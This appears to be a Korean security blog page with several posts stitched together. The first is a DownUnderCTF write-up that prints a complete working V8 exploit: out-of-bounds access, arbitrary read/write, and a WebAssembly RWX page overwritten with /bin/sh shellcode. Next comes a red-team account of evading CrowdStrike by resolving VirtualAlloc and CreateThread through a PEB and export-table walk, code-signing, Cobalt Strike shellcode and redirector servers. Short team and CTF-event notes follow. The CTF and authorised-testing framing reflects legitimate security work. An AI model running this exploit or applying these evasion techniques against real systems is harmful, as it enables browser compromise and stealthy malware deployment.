DownUnderCTF - Is this pwn or web?

Tag

  • V8 engine exploit
  • OOB
  • pointer compression

Summary

  • diffing file analysis
  • addrof & fakeobj
  • exploit

diffing file analysis

디핑 파일은 부분별로 나눠서 보도록 하겠습니다.

1. array-slice.tq

diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
         // to be copied out. Therefore, re-check the length before calling
         // the appropriate fast path. See regress-785804.js
         if (SmiAbove(start + count, a.length)) goto Bailout;
-        return ExtractFastJSArray(context, a, start, count);

+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;

일단 디핑파일을 적용했을때의 결과부터 말씀드리겠습니다. 위 부분으로 인하여 취약점이 발생합니다.

원래 slice함수에서 사용하던 처리방식을 주석처리하고, 자체적으로 slice함수를 처리하는 코드를 작성한 모습입니다. 자세하게 볼까요?

 

const array: JSArray = ExtractFastJSArray(context, a, start, count);
const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2)) otherwise Bailout;
array.ChangeLength(newLength);
return array;

변수 countslice를 진행할 때 첫번째 인자와 두번째 인자의 거리입니다.

변수 start는 첫번째 인자의 값이고, SmiConstant(2)는 상수 "2"를 의미합니다.

예시는 아래와 같습니다.

 

juntae@ubuntu:~/ctf/downunder$ ./d8 
V8 version 8.7.9
d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> a.slice(4,6)
[]

원래 a.slice(4,6)을 실행하면 5와 6이 반환되어야합니다. 하지만, 문제의 d8에서는 아무값도 반환하지 않습니다. 왜그럴까요?

 

이유는 a.slice(4,6)부분에서 count는 2, start는 4가 되기 때문입니다. 2 - 4 + 2 = 0이 되는 것이죠.

여기서 중요한 한가지는, countstart를 잘 조절하면 연산의 결과값을 -1등의 음수 값으로 만들 수 있다는 점 입니다. 이렇게 되면 v8에서는 배열의 길이를 0xfffffff..으로 인식하고, OOB를 트리거 할 수 있습니다.

 

2. JSobject

 extern class JSArray extends JSObject {
+  macro ChangeLength(newLength: Smi) {
+    this.length = newLength;
+  }
+  
   macro IsEmpty(): bool {
     return this.length == 0;
   }

간단합니다. JS에서 최상위 오브젝트인 JSObject를 상속하는 JSArray의 길이를 변경할 수 있는 메소드를 추가합니다. 이 메소트는 array-slice.tq에서 사용하게 됩니다.

 

addrof & fakeobj

일반적인 Browser exploit에서는 addroffakeobj함수를 만들어 aaraaw를 이끌어냅니다. 저는 다른 방식으로 exploit을 진행했는데, 그 방법을 소개하고자 합니다.

 

1. addrof

먼저, OOB가 발생함을 이용해 배열의 mapobject로 덮고 element에 object를 넣으므로써 원하는 오브젝트의 주소를 leak 할 수 있습니다.

 

2. fakeobj

fakeobj 없이 ArrayBufferbacking store포인터를 덮어 fakeobj함수를 만들지 않고도 aawaar을 만들 수 있습니다. 자세한 예시는 아래 exploit에 있습니다.

 

Exploit

var buf = new ArrayBuffer(8);
var f64buf = new Float64Array(buf);
var u64buf = new Uint32Array(buf);

function ftoi(val, size) {
    f64buf[0] = val;

    if(size == 32) {
        return BigInt(u64buf[0]);
    } 
    else if(size == 64) {
        return BigInt(u64buf[0]) + (BigInt(u64buf[1]) << 32n);
    }
}

function itof(val, size) {
    if(size == 32) {
        u64buf[0] = Number(val & 0xffffffffn);
    } 
    else if(size == 64) {
        u64buf[0] = Number(val & 0xffffffffn);
        u64buf[1] = Number(val >> 32n);
    }

    return f64buf[0];
}

var hex = function(x) {
   if (x < 0)
       return `-${hex(-x)}`;
   return `0x${x.toString(16)}`;
};

a = [1.1,2.2,3.3,4.4,5.5,6.6]
b = a.slice(4,5)
c = new BigUint64Array([
    0x1111111111111111n,
    0x2222222222222222n,
    0x3333333333333333n,
]);

var idx = 15
var base = BigInt(ftoi(b[idx + 8],64)) & 0xffffffff00000000n;
console.log("[*] Base address : " + hex(base))

objmap = base + 0x824394dn
bintmap = base + 0x8242665n

function addrof(obj) {
    b[idx + 3] = itof(objmap,64);
    c[0] = obj;
    b[idx + 3] = itof(bintmap,64);

    return base + (c[0] & 0xffffffffn);
}

var arb = new ArrayBuffer(0x100);
console.log("[*] ArayBuffer address : " + hex(addrof(arb)))

function aar(addr) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    let buf = new Float64Array(arb);

    return ftoi(buf[0],64);
}

function aaw(addr,value) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    if(typeof value == "number") {
        let buf = new Float64Array(arb);
        buf[0] = itof(value)
    }    

    else if(typeof value == "string") {
        let buf = new Uint8Array(arb);
        for(let i = 0; i < value.length; i++) {
            buf[i] = value[i].charCodeAt();
        }
    }    
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);

let wasmFunction = wasmInstance.exports.main;

let rwx = aar(addrof(wasmInstance) + 0x67n);
console.log("[*] rwx : " + hex(rwx));

let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";

aaw(rwx,shellcode);

wasmFunction();

주의해야할 점은, pointer compression에 의하여 디버깅이 상대적으로 어렵고, PIE baseleak하듯이 pointerbase주소를 leak해야 한다는 점 입니다.

 

aawaar을 만든 후에는 WebAssembly를 생성(RWX 영역이 매핑됨)하여 rwx를 만든 후에 이를 쉘코드로 덮고, 실행시켜 쉘을 획득할 수 있습니다.

'CTF' 카테고리의 다른 글

DownUnderCTF - Is this pwn or web? write-up  (0) 2020.09.28

시작하기에  앞서, Demon팀에서 진행한 프로젝트가 아니라 현재 근무중인 Horangi에서 진행중인 프로젝트 일부이다. 

같이 프로젝트를 수행하고 있는 팀원에게 고객사 이름을 말하지 않는 조건으로 글을 작성하는데 허락을 맡았으며, 안티바이러스 우회를 위해 진행한 짤막한 삽질을 공유하기 위해 포스팅하게 되었다.

 

나는 Horangi에서 Red Team, Penetration Testing 그리고 Cloud Infra Develop을 맡고 있다. 

 

최근 한 고객사로부터 침투 시나리오를 만들어 공격을 수행해달라고 요청받았다. 

COVID-19 상황으로 인해 사내에서 사용하는 여러 노트북을 받아왔다. 

내가 받은 노트북은 Mac 3EA, 팀원이 받은 노트북은 Windows 2EA이였다. 

 

사진 중 3대의 Mac은 내것이 아니다.. ㅠㅠ 

 

우리 팀 역시 COVID-19로 인해 재택근무를 진행중이기에 서로 원활한 소통을 하기 위해 C2서버를 제작하기로 결정하였다. 

프로젝트가 시작되기 1주일 전, Terraform을 이용하여 모든 인프라를 자동화 해두고 악성코드 제작에 들어갔다.

 

악성코드를 실행하게 되면, 사용자가 예상하지 못한 정보 노출이 발생할 수 있다. 이를 방지하기 위해 Windows는 물론이고 많은 Antivirus Vendor에서 탐지 프로그램을 제공한다. 

 

매일마다 끊임없이 해커와 개발자는 뚫고 막는 여정을 이어나간다.

 

오늘은 해커 관점에서 안티바이러스 우회에 대해 이야기를 해볼까 한다. 

 

나는 탐지를 대비해 며칠 간 여러 버전(x86)을 만들어두었다. 버전을 간단하게 설명하면 쉘코드를 2중 암호화 해둔 버전, 인라인 어셈으로 작성한 버전, PE에서 기본적으로 제공하는 섹션이 아닌 다른 섹션을 로드해서 사용하는 버전, 패커를 사용한 버전, Process Hollowing을 이용한 버전 등이다. 

 

모든 바이너리는 프로젝트 시작 전, Windows Defender, Avast에서 미 탐지 됨을 확인하였다.

 

고객사로부터 전달받은 하나의 Windows 디바이스는 내가 작성한 모든 버전이 원활하게 동작하였다.

하지만, AD접근이 가능한 디바이스의 경우 ‘Crowd Strike’가 설치되어 있어 너무 허무하게 탐지되어 버렸다. 잠시후, 고객사로부터 탐지가 되었다고 전달 받았다.

 

무조건 우회를 성공해야 원격으로 프로젝트 수행이 가능하기 때문에  여러가지 방식을 떠올려보았다. 현재 우리는 노트북을 물리적으로 소지하고 있지만, 물리적으로 비활성화를 시키는 것은 침투 시나리오에서 어긋나기 때문에 진행하지 않았다.

 

무력화시켜 무조건 나의 악성코드가 실행되게 하는 방법 역시 생각해보았지만, 고객이 요청한 사항 중 악성코드를 제외한 다른 프로그램의 설치는 자제해주길 바랬기에 디버거를 물리적으로 설치할 수도 없었다. 

(유료라서 내 호스트에 다운로드를 할 수도 없었다..)

 

한참을 고민하는 도중 팀원 한분께서 링크 하나를 던져주셨다. 

 

나는 이 내용을 다 읽진 않고, 아래의 부분에만 초점을 맞추었다.

그렇다. 나의 바이너리는 VirtualAlloc과 CreateThread를 기본적으로 사용하고 있었고, 그러므로 CrowdStrike가 너무 쉽게 탐지해버린 것이다. 

하지만, 쉘코드를 로드해서 사용하기 위해서는 가상 함수를 할당하여 사용하는 API는 필수적으로 필요하다고 생각하고 있었기 때문에 잠시 멍해졌었다.

 

.rdata섹션에 대놓고 보여지기 때문에 행위기반 분석이 아니라 정적으로 분석만 하더라도 문자열로 VirtualAlloc, CreateThread가 노출되어진다. 

 

나는 .rdata에 노출되지 않으려면 어떻게 하면 되는지를 생각해보았다. 

.rdata 섹션에 자리잡는 녀석들이 어떻게 생기는지를 설명하기 위해 작고 귀여운 바이너리를 하나 생성하였다. 

 

기본적으로 제공하는 함수의 경우, DLL에서 주소를 찾아와서 이용하게 된다. 이 방법을 생각해보면, 직접적으로 그 주소를 가지고와서 다른 이름으로 사용하면 노출이 되지 않을 수 있지 않을까? 라는 아이디어를 얻을 수 있다.

 

LoadLibrary와 GetProcAddress를 사용한 예제가 많이 있다. 하지만 GetProcAddress 또한 직접 찾아서 코딩하면 좀 더 안전한 바이너리가 될 것 같다는 생각을 하였다. 

키워드를 정해 검색해보니 이미 누군가가 깔끔하게 작성해둔 코드가 있었고 이를 이해하고 사용하기로 결정했다.

 

모든 프로그램은 ntdll.dll과 kernel32.dll을 가지고 있다. 

 

GetProcAddress는 kernel32.dll에 존재한다. 하지만 더 접근해보면 GetProcAddress는 상위 ntdll.LdrGetProcedureAddressForCaller에서 호출되는 API임을 알 수 있다.

LdrGetProcedureAddressForCaller를 검색해보니 LdrGetProcedureAddress와 같다는 것을 알게 되었다.

 

LdrGetProcedureAddress는 ntdll 에 있다는 것을 디버거를 통해 확인하였으니, ntdll의 베이스주소를 구하는 방법을 생각해보아야 한다. DLL의 베이스주소를 알면, 오프셋을 통해 함수에 접근할 수 있기  때문이다. 

 

어떻게 접근할 수  있을까?

Windows에는 fs 세그먼트가 존재한다. fs[0x18] 위치에 TIB(Thread Information Block)가 존재하게 되며 TIB의 0x0C 위치에 Ldr이라는 구조체가 존재한다.

 

Ldr에 접근하게 되면 0x1C 부분에 InInitialzationOrderModuleList가 존재한다.

 

InInitialzationOrderModuleList에서 BaseDllName을 만날 수 있다. 



 

여기까지를 코드로 표현하면 다음과 같다. 

그 후, EAT(Export Address Table)를 살펴보아야 한다. 

EAT는 Windows DLL 하나를 까서 그 안에 무슨 함수들이 있는지 훔쳐본다고 생각하면 이해하기 편하다. 

EAT에 접근하기 위해 이전에 구한  ntdll 베이스 주소와 IMAGE_NT_HEADER를 이용하여야 한다. 

 

Export Table에 접근 후, 반복적으로 함수명을 찾다 보면 현재의 목표인 LdrGetProcedureAddress 주소를 얻을 수 있다.

 

 

이 과정을 통해 이제 IAT에 등록하지 않고, 프로그램안에서 API함수를 사용할 수 있게 된다.

IAT 미등록 리스트는 VirtualAlloc, VirtualProtect, CreateThread이다.

 

API 함수는 다음과 같이 선언하였다. msdn에 아주 상세하게 설명이 되어 있다.

 

쉘코드 호출은 다음과 같은 방법을 이용하였다. 인라인어셈과 C문법을 병행하였다. 

 

그 이후, MS binary를 이용하여 코드 서명을 진행하였다. 

그 결과, 탐지되지 않고 연결이 되었음을 확인할 수 있었다.

 

PE구조에 대해 많이 까먹고 있었는데, 오늘 복습하게되어 기분이 좋았다.

 

해당 프로젝트에서는 Cobalt Stirke 프레임워크의 내장 된 쉘코드 일부를 수정, 희생자가 분석을 진행했을 때 공격자의 IP를 알 수 없게 Redirect 서버 2개를 사용하였다. 

 

ref. 

https://www.redcursor.com.au/blog/bypassing-crowdstrike-endpoint-detection-and-response

https://blog.kowalczyk.info/articles/pefileformat.html

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrGetProcedureAddress.html

http://www.rohitab.com/discuss/topic/43078-ldrgetprocedureaddress-hook-windows-10/

https://www.aldeid.com/wiki/PEB-Process-Environment-Block

http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FPEB_LDR_DATA.html

https://5kyc1ad.tistory.com/329?category=753762

https://github.com/secretsquirrel/SigThief








'연구' 카테고리의 다른 글

Antivirus bypass  (0) 2020.09.08

소개: 2020년 9월부터 시즌 2 활동을 시작합니다. 

멤버: 김민정(팀장), 김주원, 김준태, 손현지, 이재승, 정동현, 정상수, 최동민, 황수민

 

주요 활동 및 이력:

  해킹캠프  CTF 문제출제 및 운영

  여성해킹대회(PoXX) 문제 출제 및 운영

  벨루미나(Belluminar) 운영

  1회 화이트햇 리그 2위

'팀소개' 카테고리의 다른 글

About Demon team  (0) 2020.09.04

2019.8.24 ~ 25일 운영

1위: 2제집가시면됩니다

2위: 6쌈냉면먹을래요

3위: 속4Four

 

8/31 오후 11시 50분 부터 외부 공개

http://pwnable.shop 

 

 

'외부활동' 카테고리의 다른 글

2019 가을 해킹캠프 CTF 운영  (0) 2019.08.28

+ Recent posts